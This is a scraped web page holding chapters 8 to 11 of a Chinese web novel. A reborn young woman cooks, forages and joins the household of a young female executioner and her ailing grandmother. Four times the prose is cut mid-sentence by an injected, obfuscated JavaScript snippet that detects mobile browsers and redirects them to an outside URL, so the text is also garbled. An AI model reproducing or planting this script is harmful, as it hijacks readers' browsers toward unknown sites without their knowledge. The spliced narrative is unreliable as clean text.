这时旁边一双温热的胳膊环过来，圈住她的腰。 “怀贞，做噩梦了吗……” 像是安慰，又像是呓语。 照顾了秦氏兄妹十余年的林霜，时常半夜被惊醒，爬起来安抚两个体弱多病的小白眼狼。江怀贞这细微的动静，即便是在睡梦中也被她给捕捉到了。 只是这会儿仍困得厉害，眼睛都没睁开，抱着江怀贞轻轻抚着她的背，断断续续安抚道：“……没事的，我在呢……妖魔鬼怪通通靠边站……咱们继续睡哦……” 江怀贞紧绷着的身子在这一下接着一下的安抚中终于软了下来，她轻轻舒了一口气。 她记得前两天晚上，也是半夜惊醒，身子几乎绷紧了一个多时辰才缓和，醒来腰酸背痛疲惫不堪。 她轻轻将林霜的手臂拉开，坐起身。 林霜迷迷糊糊睁开眼睛问道：“你要去哪儿？” “我去隔壁，马上就回来。”江怀贞轻手轻脚地下了床，摸着黑往隔壁去。 江老太的屋子外头亮着一盏暗油灯，她在床边站了一会儿，听着床上呼吸均匀，才又返身回了屋。 刚躺下，旁边的身子便缠了过来，将她抱住。 江怀贞身子微微一僵，过了好一会儿才恢复常态，将被子往上拉，罩住两人。 困意跟着袭来，她闭上眼睛，很快便睡了过去。 8. 发现山药 后半夜江怀贞睡得特别香，以至于次日醒来的时候已接近巳时。 原定于今日是有一个行刑的任务，虽然具体行刑的时间一般都固定在午时三刻，但行刑前还有许多准备事宜，半点不得耽误。 她匆匆忙忙起身穿衣服，务必要在最短的时间内煎好药煮好老太太的饭。 刚出房间，却闻到一阵米香味。 厨房里，年轻的姑娘正在炒菜。 见她进门，笑道：“起来了，见你睡得香，就没把你叫醒。粥已经煮好了，药正在炉子上熬着，我炒了菜，你吃了就去当差吧。” 看着眼前烟火中弯弯的一双眉眼，她才想起自己昨日把人领回了家。 原本吊起来的一颗心就这么放了下来。 “好香。”她一副后知后觉的模样。 林霜扑哧一声笑道：“昨天那只鸡很肥，我留了鸡油炒菜，闻着是比猪油香。” 罐子里已经没有油了，她原本想说下晌当完差买点板油回来煎，但又担心这人口袋里没钱，最后还是没提。心想着今天抽空上山去找找，看看能不能找到一些草药，到时候进城去换些油盐回来。 江怀贞拿碗去舀粥。 林霜把菜盛上桌，又从灶上端来两个饼子道：“你工作费力气，我怕你吃粥填不饱肚子，见到还有粗面，再放下去就该发霉了，拿来煎了饼，你送粥吃。” “时候不早了，你先吃，家里有我，我会照顾好奶的。” 江怀贞从未感受过养父和养祖母以外的人这般贴心过，心中微动，嗯了一声，坐下来开动。 她吃得很快，一个大饼子混着粥两三口就下肚，又舀了第二碗粥，就着几筷子炒菜呼噜着吃完。 这才看着林霜道：“今天起晚了，事情又有些急，你辛苦了。” 本来还想再说两句感激的话，可嘴唇动了动，到底也没能说什么，放下筷子去了老太太的房间。 江老太靠在床头，眯着眼睛看着窗外，见她进来，将她上下打量了一番，看得出来她睡得还可以。 可说出来的话却能噎死人。 “睡得跟猪一样，雷打都不醒。” 相处十几年，江怀贞自然听出她话里的关心，回道：“睡得挺好，我得进城去了，有什么你就吩咐林霜。” “还用你说？”老太太斜了她一眼，“人家一大早就起来给我洗脸漱口，要是等你，到现在我是连一口热茶都喝不上。” 江怀贞原本还有点儿担心，但听了这话，就放心了。 “那我走了。” “快走快走。”老太太知道她有事，嘴上不耐烦地催促着。 江怀贞望了一眼站在门口的林霜，去柴房拿了工具，很快就消失在山谷另一边。 林霜目送她走远，方才转身去了厨房，给老太太把饭端过去。 自己也舀了饭坐在床边，和她边吃边聊。 江老太这些年很少出谷，对村里的事格外好奇。林霜便挑了一些有趣的家长里短讲给她听。当说到自家时，林霜叹了口气：“爹娘过世后，日子过得紧巴巴的，这些年就没吃过一顿饱饭。” 江老太撇着嘴嫌弃道：“同一个爹妈生出来的，怎么林满仓却差那么多？” 林霜摇头：“人心善变，谁知道呢，可能是因为穷吧。” 江老太哼了一声：“我们家也穷，这死丫头死心眼，就是不让我死，好几次把我从鬼门关给拉回来。我这命，想死都死不了，活又活不好，吊在这儿，真是比死还难受。” 嘴里嫌弃着，话语里却透着得意。 没有血缘关系的孙女，和有血缘的伯侄，相比之下，高下立见。 林霜早就见识了江怀贞执拗的性子，即便自己都那样了，她还把人挖出来，背回家，一点点地治。只可惜自己终究还是负了她，留她一个人孤苦伶仃活在那边的那个世界里。 也不知道那日她回家，见到自己冰冷的尸体，会是怎样的反应。 林霜鼻子一酸，突然变得好难过。 自己死了倒是一了百了，可怀贞怎么办啊？ 她幼时便没了父母，年少又没了养父和养祖母，再后来，连自己也抛弃了她。 想到这儿的林霜喉咙瞬间被堵住，嘴里的粥怎么也咽不下去，泪水大颗大颗地滚落下来。 床上的江老太见她这模样，重重放下筷子道：“怎么吃着吃着就哭了，是说你家里的事让你难过了？不说了便是，那样的人家，离开了正好怎么还哭起来，真没出息。” 林霜方觉察自己失态，赶忙抬起袖子擦了擦眼睛。 “只是想起爹娘，就忍不住有点难过。不过我现在没亲人了，你可别想着赶我走，我也没地方可去了。” 江老太语气硬邦邦道：“一口一个赶你走，我什么时候说过这样的话？到头来倒是我这个老太婆不是了。” 林霜这才破涕为笑：“奶，你放心，只要我能留在这儿，我一定好好照顾江姐姐好好孝敬你。” 这话明显讨好了江老太，她一条老命不值一提，可孙女才十七岁，她不愿她跟儿子一样，到死了也没有一个知心人相伴身侧。 女娃娃也行，姐妹两人相依为命，好过孤家寡人。 她哼了一声：“说得倒是好听，我倒要看看你能做到几分。” 林霜抬起下巴道：“那你可要瞧好了。” 说着，粥也吃完了，她起身收拾碗筷，把家里家外收拾了一遍，才端着药去了屋里。 江老太感觉刚吃完饭没多久又来一碗药，嫌弃得不行，让她放在床边桌子上，说自己晚点喝。 林霜却想起昨天来时那碗原封不动的药，不肯让步：“你不是要看看我能坚持多久吗？不喝药，怎么看？待会儿冷了，你就更不想喝了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111373|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 老太太嫌她聒噪，端起碗一饮而尽。 林霜这才收了碗回厨房，将昨天晚上换下来的衣服泡上，打算上一趟山，回来再洗。 伺候老太太去了一趟茅厕后交代道：“我认得一些草药，待会儿上后山去采些回来，大概要两个时辰，你没事别下床，有什么等我回来再说。” 江老太不耐烦道：“赶紧走，在这儿聒噪得很。” 可等林霜起身往外走时，她又忍不住叮嘱：“别走太里面了，深山里有狼，要是被叼走了，可别怪我没提醒你。” 林霜脚步顿了下，笑笑。 等喂完鸡，她背着镰刀背篓，就往后山上去。 前世在秦家药铺里当牛作马，倒是让她学到了一些辨别草药的本事，如今触摸土地能感知到土壤里的东西，让她有一种如虎添翼的感觉，心里不由得有些兴奋，走起路来脚下生风。 村子里附近的山都被人们翻遍，不过西山谷这边却少有人来，林霜刚到半山腰，就看到一大片的绞股蓝。 绞股蓝具有清热解毒等功效，比较常见，但价格也低，四五斤的鲜货晒干了才能出一斤干的，一斤大概十几文钱。 蚊子再小也是肉，林霜既然撞见了，就没有放过的道理。 秋季的绞股蓝主要以老叶和茎为主，眼前这一大片应该能摘十来斤。 心中迅速盘算一番后，她将背篓放下，开始采药。 草药分布得比较散，花了差不多一个时辰才摘了十来斤，她站起身，捶了捶后背，坐在歇了一会儿。 村里的男人去城里做短工，在码头扛包，一天也不过二三十文钱，算起来，自己这一筐也能抵得上他们一天的工钱了。 但比起江怀贞，是差了些。 不过江怀贞的活儿却不是每天都有，一个县一年可能有几件死刑案件，除非个别案件牵涉特别广泛。等过了这几天，她也该闲下来了。 想到入了冬江怀贞就没活儿了，林霜又觉得自己得扛起养家的重担才行，万一老太太突然发病，那可就难办了。 想到这，她也不歇了，背着背篓继续往上走，大约走了两刻钟，才停下来摸着地面。 名贵的药材没见一颗，却发现了几根山药。 镰刀柄往土里一戳，黄褐表皮裹着的铁棍山药便露出真容——这可比绞股蓝金贵多了，山民甚至有“怀药三两金，难换铁棍一斤”这样的说法。 忽略掉刚才因为探测地面透支精神力而产生的眩晕感，她削尖木棍作锄子，顺着地面往下挖，花了好大一番功夫，才将铁棍一根根小心翼翼地挖出来。 这一处的山药有四株，大概六斤重。 贪多嚼不烂，想到家里还有个生病的老太太，她便不再继续探索下去，将山药棍用藤蔓捆起来，放到背篓里。 背起背篓，扶着山石，一步步向山下走去。 9. 阴差阳错 回到家的时候，已经过了晌午。 把东西放下，先进屋看了一眼老太太。 江老太正倚着褪色的鸳鸯枕套发怔，见人来了，转头看她一眼：“去了老半天，摸了什么东西回来？” “绞股蓝，还有山药。”林霜回道，“待会儿熬山药粥，补肺益气，味道也好吃。” 老太太被江怀贞那烂厨艺给荼毒了两年，昨晚总算吃了一口正常饭，听说她要煮淮山粥，喉头不禁一动，嘀咕道：“那玩意儿能有多好吃，还不如留着卖钱……” 林霜笑道：“存钱就是为了过日子，过日子无外乎吃穿住，卖了钱还不是要去买吃的。” 老太太撇撇嘴，“随你吧，反正又不是我去挖的。” 林霜见她没其他吩咐，便转身去厨房弄粥。 山药的黏液碰了手痒，她小心翼翼地削了半根。昨晚剩下的半只鸡把肉剔出来，骨头加了姜片熬汤，待汤烧开，加入淘好的稻米。 米粒在金黄汤底咕嘟冒泡时，山药切成块滑进锅中，焖上盖子小火慢慢熬。 趁着这个时间将割回来的绞股蓝整理好，找来几个大簸箕和竹筛子，将这些草药摊开在上边，再放到堂屋中阴干。 山药才几斤，卖也卖不了多少钱，家里正缺吃的，等下次攒多了再一起卖。 忙完这些，粥也煮熟了，肉香混着醇厚的米香味，飘得满屋子都是。 老太太支着耳朵听外间动静，待闻到丝丝香气时，终于忍不住撑着床板往外张望，倒显出几分急切来。 不过没让她等多久，林霜很快就端了两碗粥进来。 等把架子放好，再把粥端过去。 “刚出锅，小心烫。”怕老人家舍不得吃，又道，“我给江姐姐留了饭，锅里还有，吃完了我再去给你舀。” 林霜说完，自己也坐到桌边开吃。 上一世活了二十七年，刚去秦家那段时间倒是能吃好喝好，可随着秦冲病逝，林家篡改生辰八字的事被曝光，自那以后，等待她的是无尽的苦头，别提能吃上什么好东西。 而当下的这个身体，几乎没沾过什么荤腥，能吃饱就已经是万幸。 如今能吃上这一碗山药粥，全身上下都洋溢着满足。 老太太所想却与她不同，当初江贵还活着，她们祖孙吃得倒不算很差，这两年生病后，家里是没进项。可再怎么苦，孙女也从来没有缺过她那一份。 她不缺吃的，但是孙女的那个手艺，煮出来堪比猪食，让她实难下咽，生无可恋。 如今在她眼里，能煮得比自家孙女好吃，就算是不错的了。眼前这个级别的膳食，米粥黏稠，混着鸡汤的鲜美和山药粉糯，整个口感丝滑绵密，无疑是美味佳肴。 但她素来嘴硬，少不了要鸡蛋里挑骨头。 林霜如今对她的性子已经拿捏了几分，任由她数落，吃得津津有味。 吃完午饭，她便去把昨晚上换下来的衣服给洗了。 衣服刚晒上去，就见山谷入口一个小黑点正朝家里方向走来。 等人走近了，才问道：“今日怎么回来那么早，不用行刑吗？” 江怀贞摇头：“前面三天每天一人，都是不同的案子，为儆效尤，分开行刑。但明日是同一个案子，五个囚犯一起行刑，明日过后，今年的任务也算是完成了。今天过去，只是为了明天做准备。” 林霜闻言，微微吃惊：“五个人一同行刑？你一个人吗？” 昌平县北面两个村子中间有座芒山，是去往隔壁县的必经之路，今年年初就听说有一伙人埋伏在附近，对过路人下手，抢人钱财，杀人灭口，连小孩子都不放过，后来县里组织捕快和民壮，花了几个月的工夫才把人拿下。想必就是这伙人。 江怀贞嗯了一声。 单单砍冬瓜，一下子砍五个都够呛，更何况砍人头，要一次砍完，那得花费多大的力气？ 林霜有些担心问道：“你能行吗？” 江怀贞点了点头：“能。” 这种事林霜也帮不上忙，心里有些担心，但也知道担心无用，只得转了话头道：“我今晨上山挖了几根山药棍，煮了粥，这会儿还在锅上温着，快去吃饭吧。” 今天虽然没有行刑，可是去看了场地，又去了监狱了解犯人情况，加上来回赶路，江怀贞早就饿坏了。 如今各家各户粮食短缺，一天一顿两顿饭是常事，但抵不住饿，要是家里有粮食，哪里管他两顿还是三顿，吃饱了再说。 江怀贞摸着肚子从堂屋穿进去。 见到桌子凳子上散放着的绞股蓝，问：“早上摘的？” 林霜点头，伸手拨了拨这些草药道：“晒干了一斤也能有二十文钱，竹筛子不够用，山药还没得弄。” 江怀贞道：“等我得空了，砍了竹子多做几个就是。” 林霜等的就是她这句话，眉开眼笑道：“好，等你有空再说。” 锅里的山药粥还剩一大海碗，江怀贞吃得干干净净，拿着勺子刮了又刮锅底，明显意犹未尽。 “留点肚子等晚上吃晚饭。”林霜上一世没见过江怀贞对什么感兴趣过，即便是食物也是如此，更不会露出这样的表情，眼下的这些反应，让她觉得新奇。 刚吃完饭，听到屋子外边传来村正的声音。 两人一前一后出了门，村正手里拿着户籍册站在大树下。 待她们二人走近，才将东西递过来。 “出了点状况，”他搓着手道，“我这不一大早就去衙门办这个事，户房那个官差，昨夜不知道是不是喝大了，一副醉醺醺还没睡醒的模样。见我说要给你家办户籍，他说认得你，说前面有几个人要办，让我先去逛，下晌再去拿就成…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111374|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江怀贞听到这儿，心里顿时有些不妙，伸手打开了户籍册。 后面一页那儿，已经上了林霜户籍。 而户主页则增多一行记录：江怀贞，户主，妻林氏…… 谢家也算是书香门第，母亲更是大家闺秀，她两岁就开始认字，亲生父母出事的时候她三岁多，已经能认得几十个字。 当初江贵把她抱回来后，又瞒着旁人把她送去学堂学了一年多，虽没有什么大才学，但认字这一块倒难不倒她。 村正见她眼睛扫过那页文书，讪讪笑道：“我拿到手的时候也没细看，刚刚翻了一下才发现那人给搞错了。我这几日正好有事要忙，既然这几天你都要去衙门，到时候你去跟那人说一声，让他重新给你办就是了。” 村里人，最不爱跟衙门的差役打交道，这种弄错了的，去了免不了要废一番口舌，还要遭一顿骂。 一旁的林霜见二人脸上带着异色，忍不住凑过去，朝户籍册上看去。 她上一世带着秦庆生和秦婉儿两兄妹，两兄妹都要读书认字，她跟着，也认得几个字。 当目光扫过那行字，耳朵不禁一热。 江怀贞细长的眉毛微微皱了皱，冲着村正道，“有劳七叔，这事回头我再去处理就好。” 村正听她这么说，如蒙大赦般离去。 林霜看着她合上册子，将牛皮绳缠在文书上绕了几圈，忽然出声道：“其实也没关系……” 江怀贞睫毛颤了颤，转头看她。 “你要是还没有跟衙门那边特意说明你是女儿家的身份，不如先将错就错……等将来你要是想嫁人了，到时候再改回来也不迟。” 林霜是真的一点也不介意以这种身份出现在她们家的户籍上，而且心底还莫名地带着一种隐秘的开心。 也许是因为离江怀贞更近了吧，她这辈子要报答这个人，巴不得和她绑得越近越好。 “我不嫁人。”江怀贞开口道。 林霜嘴唇微微翘了翘：“正好我也是这个打算，那就更不用折腾了，反正我有地方落户了就成。” 江怀贞默了一下，道了一声好。 “我待会儿就上山砍竹子编簸箕，”她转头看向房子的方向，目光扫过屋檐下还在滴着水的衣服。 “往后我和奶的衣服不用你洗，让你留下来，是希望我不在家的时候你能帮忙看顾一下老太太，不是要让你服侍我们。” 林霜笑笑：“都是一册户籍上的人了，家务事也应该一起分担才是。我无处可去，真心把这里当家，你跟我客气，会让我不安，而且这些都不是什么重活儿。” 江怀贞听她这么一说，不好再与她计较，免得当真如她所说的那样让她不自在。 最后才道：“那往后家务就一起做吧。” 林霜眉眼弯了弯：“好。” 10. 她不会走 江怀贞回了家后，拿着斧子便上山去。 半山腰处有一片竹子，平日家里用的簸箕竹筐，都是在这里取材。 林霜无事，也跟着她一起去了。 趁着对方砍竹子，她在旁边东摸摸西摸摸，找到了几根笋子。 “江怀贞，我们晚上煮笋子吃吧。” 江怀贞停下手上的动作，转头看着她。 之前父亲给买的橙黄色的外搭，自己嫌太鲜亮，穿了一次后面就没有再穿过了，如今套在她身上，配着那带着笑意的脸儿，衬得暗沉的天气明亮了好些。 “要怎么煮？”换做往时，她最多就应一声。只是这会儿看着对方那透亮的眼睛，不忍让她自说自话，顺势把话题接下去。 林霜见她感兴趣，也变得兴致勃□□来，“早上剃了鸡骨头熬粥，还剩下些鸡肉，就和笋子一起炒。” 江怀贞听了，定站在竹子下边，想了想，脑子里很快就勾勒出一幅鸡肉炒竹笋的画面，香气四溢。 似乎很不错。 “好。”她回答道。 一共砍了五根大竹子，江怀贞一个人就能搞定，林霜抱着几根笋子跟在她的身后一起下了山。 堂屋里晒了绞股蓝，竹子很长不好拖进屋里，江怀贞就坐在厨房后门那儿削竹片，偶尔转头看一眼正在灶前忙活的林霜，有一句没一句回答她的问题。 林霜在山上的时候已经给竹笋去了皮，回到家直接将笋子切成片，冷水下锅焯水去涩味。 江老太躺在屋里，百无聊赖，听到两人在厨房里边的说话声，不高兴道：“有什么活就不能来屋里干？留我一个老太婆在屋里，是要想把我给闷死吗？” 林霜正将焯好水的竹笋给舀出来过凉水，听到这话，忍不住笑了，看着正低头忙活的江怀贞：“要不你去屋里陪奶说说话？我弄完这些就进去。” 江怀贞头也不抬地道：“竹片还没有削好，怎么拿进屋子里去？” 江老太的房间不算小，但瓶瓶罐罐的还挺多，巨大的竹筒在屋里不好破开。 话虽这么说，她还是加快了手上的动作，把剩下的几个大竹筒破开，再将一根根竹条削薄，拖到老太太屋里，搬了凳子坐下来，开始编簸箕。 林霜焯好竹笋后，眼看着炉子都热了，便转身出门去菜园子里面弄几颗菜来腌。 江怀贞不会做饭，菜永远是水煮，就算有肉也是一锅炖了，看着老太太的暴脾气，这两年估计也是被她这养猪的方式给养得恼火。正好自己来了，做些别的菜式给祖孙两人改改口味。 挖了十几棵芥菜，简简单单先腌上两棵，明天就能吃上。 剩下的放上几个时辰，等水干了些再腌，会更脆，也能留得更久。 忙完这些，天色也渐渐暗下来，她舀了米开始煮饭。 趁着水还没有开，进了老太太屋里看看那两人。 江怀贞低着头忙活，她回来的时候就已经把灰扑扑的杂役衣裳换下，这会儿身上是一袭灰白色的裙裤，套了件厚褂子在外头，头发也放下来，自然垂在后背。 两只手臂修长，露出一截好看的手腕。 她手指很长，却带着不同的伤痕和老茧，和一张白净的脸形成鲜明的对比，长长的竹条随着她的动作左一摆右一摆。 能干得了刑场的那个活儿，没有十年八年的锻炼是胜任不了，林霜心中暗忖着，目光不自觉地放在她身上，心里却在细细对比着眼前这人和上一世的不同。 或许是她的眼神过于直白，镇定如江怀贞也忍不住转头看了她一眼。 林霜若无其事地撇开视线。 江老太刚才嫌弃两个人说话不带她，这会儿江怀贞进来了，又嫌她像个闷葫芦，问一句答一句，不问她就不吱声。 见她进来，没好气道：“忙活什么？叮叮当当的，不知道，还以为咱家有什么大鱼大肉等着你去操弄。” 林霜莞尔：“大鱼大肉是没有，不过地里面倒是有几颗菜，我腌了酸菜，明天就能吃上了。” 江老太一听，嘴中咕哝道：“我当是什么山珍海味，原来是几颗酸菜。” “酸菜和芸豆一起煮，可下饭了。要是能捉到鱼，酸菜鱼也很美味，煮熟了撒几颗葱，再淋上热油，香得很……” 林霜话音刚落，眼睛明显瞟到祖孙两人吞咽口水的动作。 别说祖孙俩，她自己都馋得不行，这身体长这么大就没吃饱过，是真的饿。 江老太看着江怀贞道：“村头那条河有鱼吗？看这丫头那馋样，有空去摸两条回来，让她开开眼。” 这年头，粮食不够吃，更别提肉了，村里半大的小孩天天围着那条河转悠，笼子和网下了一道又一道，哪里还轮得到她们去抓鱼。 江怀贞又怎会不知，可却应了一声好。 林霜坐在旁边看着她编了一会儿竹筛子，和老太太闲聊着村子里那些细细碎碎的事情，直到厨房米香味传来，她才站起身道：“我去弄菜。” 或许是她刚才提起了酸菜鱼的事，江老太被勾起了馋虫，嘴里嘀咕道：“天天一锅炖，天天一锅炖，嘴巴都要淡出个鸟来……” “今天就不一锅炖了，刚刚在山上挖了笋，能做点不一样的。”走到门口的林霜停下来道。 老太太嫌弃：“笋有什么好吃的，我又不是没吃过。” “你就等着好了。” 老太太明显就是个嘴挑的，偏生遇上了江怀贞这样一个不擅长烹饪的木头，也难怪会怨气冲天。 没关系，做饭她会。 进了厨房，把早上没有削完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111375|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的半截山药给削了，放碗里用勺子一点一点地捣碎，剩下的鸡肉挑了几块瘦的出来，剁碎放入碗中，加入刚刚捣好的山药泥，最后再去鸡窝里摸了个鸡蛋打在上面，上蒸屉蒸了。 旁边一个灶子炒菜。 焯好水的竹笋下锅干煸，等去水分后捞起，下入大块的鸡油，待煸出油脂，再把剩下的鸡肉全部下锅翻炒，肉炒至七八分熟，倒入昨日捡的菌菇和煸好的竹笋，加盐，丢了几根野葱段便出锅了。 香味四溢，飘入老太太的房中。 江老太眼睛时不时瞄着门口，冲着江怀贞道：“干了这么多件蠢事，总算干对了一件。” 把会做饭的小厨娘带回家，往后再不用对着那猪食一般的饭菜生无可恋，也不用担心自己走了以后这木头一样的孙女孤家寡人哪天死在山谷里也没个人收尸。 “哎，人家有手有脚，做事勤快，模样也不赖，也不知道能待多久。” 看着老太太那浑浊的双眼，闷葫芦一样的江怀贞终于开口了：“她不会走。” 江老太哼道：“你又不是她，你怎么知道她不会走？你要是个男的，还能挟恩压着她嫁给你，可你一个女人家，你拿什么留她？” “我已经让村正去衙门办理，让她入了我们家的户籍，就不会走了。” 江老太惊讶了：“当真？” 江怀贞低低嗯了一声。 江老太原本黯淡无光的眼珠子里似乎又散出一点微弱的光，迟疑道：“她竟不嫌弃你们父女俩做的这个行当……哎，我说你，干什么不好，非要去做这个？你爹地下有知，不知道要怎么怪我？” 说到这，忍不住抬起枯瘦的手掌抹了抹眼睛。 江怀贞见她流泪，上下牙齿抵在一起，手上动作也停了下来，好不容易才开口道：“爹不会怪你，爹当年让我跟他学刀，也许已经意料到了我将来或许会走这一条路，可他还是让我拿刀，所以，他不会怪你。” 江老太骂道：“他不怪我，我怪我自己，好端端一个姑娘家，就因为我这个半截身子已经入土的老婆子被耽误了，你让我怎么去见他？” “你好好活着，将来我下去了，会和他好好解释。”江怀贞回道。 老太太听她这话，有些气结，懒得再继续抱怨，把话咽了回去。 她倒是想胡搅蛮缠，可偏偏这个孙女较真得很，会把她说的话认认真真地一句一句掰开了回应，这十几年来她已经摸透了她性子，实在是懒得拿最后一口气去跟她争辩。 要是被她一口气气死倒还好，就是怕气得中了风，歪头斜嘴地动弹不得，到时候自己受罪了，她也不好过。 算了，死的事先放一放，先帮孙女考验考验厨房里那个姓林的小丫头，要是她当真能靠得住，自己就算真的死那也安心了。 11. 山药蒸蛋 没多久，扑鼻的香味儿顺着门口飘进来，林霜端着饭菜进了屋子。 江怀贞见状，放下手中的竹片，起身去把靠在墙边的桌子搬到床边支起来。 昨天弄的架子，她刚刚又另外加工了一下，虽然粗糙了些，但比起之前那张板凳要好太多，架在床上稳稳当当，桌面也足够大，放两三个碗倒是绰绰有余。 林霜见到小架子已经架好，便将托盘山上的山药鸡肉蒸蛋给端放到架面上。 “山药蒸蛋，奶尝尝看喜不喜欢。” 江老太瞟了她一眼：“就我一人份？” 林霜道：“你牙口不好，吃这个好嚼。” 江怀贞低着头，一声不吭出去端菜。 如今家里拮据得很，老太太总算有了点胃口，可自己却拿不出银子去买好吃的来孝敬她，心里不是滋味。 但愿明日要砍的那五个人头能顺顺利利，到时候赏银一并下来，留了些应急，多少能拿出一些给她补身子。 晚饭依旧是粥，不过还有张饼子，是早上那点快发霉的粗面给煎剩的。 江怀贞看着放在自己跟前的饼子，眸子微垂，放了筷子，把饼子分为二，一半放到林霜的碗里。 “你干力气活，身体消耗大，你吃吧。”林霜推道。 她早上吃了早饭，中午还吃了山药鸡骨粥，比起在林家，已经好太多了，更别说还带了荤腥，肠子都能润一润。 “我今天没干什么力气活。”江怀贞言简意赅说，并没有要接受的打算。 林霜便没再与她坚持，拿起筷子吃饭。 江老太靠坐在床上，看着二人这般，忍着凡事都要说一嘴的冲动，拿着勺子挖了一勺的山药碎肉蒸蛋。 食物刚入口，瞬间什么话都没了。 无他，是太好吃了。 就算老太太自己下厨，也绝对煮不出这样的美味。她的厨艺是比江怀贞要好，可也是一般的家常味道，但眼前这个蒸蛋，光是食材的搭配她想破脑袋都想不到，更别说还要专门去买山药来做。 旁边小碗盛着鸡肉炒菌菇甜笋，甜笋清甜脆嫩，汁水黏稠，混合着米粥淌在舌间，实属美味。 见江怀贞抬头看她，嘀咕道：“……还行吧，是比你一锅乱炖强那么一点儿。” 林霜两世为人，又怎看不出老太太嘴硬，只是笑笑。 而江怀贞就诚实许多，粗粝的大饼子配着米粥，再夹上一大口炒菜，一口接着一口。 祖孙两人已经不知道多久没有吃过这么温馨又满足的一顿饭了，嘴硬的江老太吃了一半蒸蛋，有心想留给自家孙女尝尝，但见她头也不抬的模样，只好作罢。 她身子不好，食量小，吃完蒸蛋便吃不下其他，剩下的两个人便扫了个一干二净。 江怀贞吃饱喝足，起身收碗去洗。 直到晚上，早早便躺下。 林霜想起白天她说的，明日要五人一同行刑，能想象到她心里应该是压得厉害。一个十七岁的女孩子，就算内心再强大，初初接触这个行业，一次要连斩五个人头，怎么可能做到波澜不惊。 上一世她后来所见到的江怀贞，不知道经历了多少事情，才会变得那般冷漠和沉默寡言，且喜怒不形于色。 面对着此时尚还弱小的江怀贞，林霜不禁心生怜惜，只想着能守护她一分，便是一分。 深秋的夜很凉。 林霜将自己烫得暖呼呼的脚伸到江怀贞的那一边，伸手将她抱住道：“还不是很冷，你就已经像个大冰块了。” 女孩子之间这种香香软软的拥抱，江怀贞是从昨夜第一次才体会到，如今被对方毫无芥蒂地依偎过来，她没有之前那么僵硬，但也并非完全接受良好，只是双手放平，安安静静地躺在外边的那半边床上，阖着眼睛，没有开口回答对方的话。 她身子骨向来如此，以前一起睡觉老太太都不愿挨着她，祖孙两人一张床两张被子各睡各的。 难得对方今天还会主动靠过来。 明日要是发了赏钱，是不是要先多添一番被子，免得寒冬降临，身边的人怕是要被冻到。 胡乱想着，就这么睡去。 直到早上醒来的时候天已蒙蒙亮，屋后仅剩的一只大公鸡喔喔地打着鸣。 她睁开眼睛，猛然才想起半夜没有过西屋那边去看，也不知道老太太有没有起夜。 心里想着，人已经掀开被子坐起来，而侧在一旁的林霜也睁开了眼睛。 “吵醒你了？”她轻声问。 林霜揉了揉眼睛：“昨晚戌时就睡，早该睡饱了，醒了便起吧。” 睡了四五个时辰，这是上一辈子在秦家想都不敢想的事。 “我去看看奶。”江怀贞说着，人已经下地。 昏暗的晨曦中，高挑纤长的背影朝门口走去，林霜拥着被子坐起来。随后又躺下去，滚到江怀贞的那一边。 温温热热的。 原来那冷冰冰的身体也还是带有温度的呢。 起床洗漱，生火弄早饭。 家里除了柜子里的一袋子米，别的吃的就没有了，林霜削了半根山药，煮粥。 今天江怀贞会很辛苦，必须让她吃得饱饱的才有力气。 炉子上的火在烧着，她转身出厨房，却差点撞上已经穿戴整齐的江怀贞。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15111376|164076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>眼前的人身姿挺拔，腰部用布条缠上，并没有显得那么细，外边的褂子将胸前的微微隆起给遮挡住。头发束起来显得一丝不苟，一身粗布麻衣，倒让她穿出矜贵的味道。 “要拿什么？” 林霜眼珠子自上而下流连而过，“去菜地拔几颗菜，炒了送粥吃。” “要什么菜？我去拔。” “芥菜，要一棵就够了。” 江怀贞应下，转身朝菜地快步走去。 林霜回了厨房，看着锅里的雾气和炊烟蜿蜒顺着屋檐朝一点一点地往上爬，老太太的咳嗽声似乎比昨日小了些。 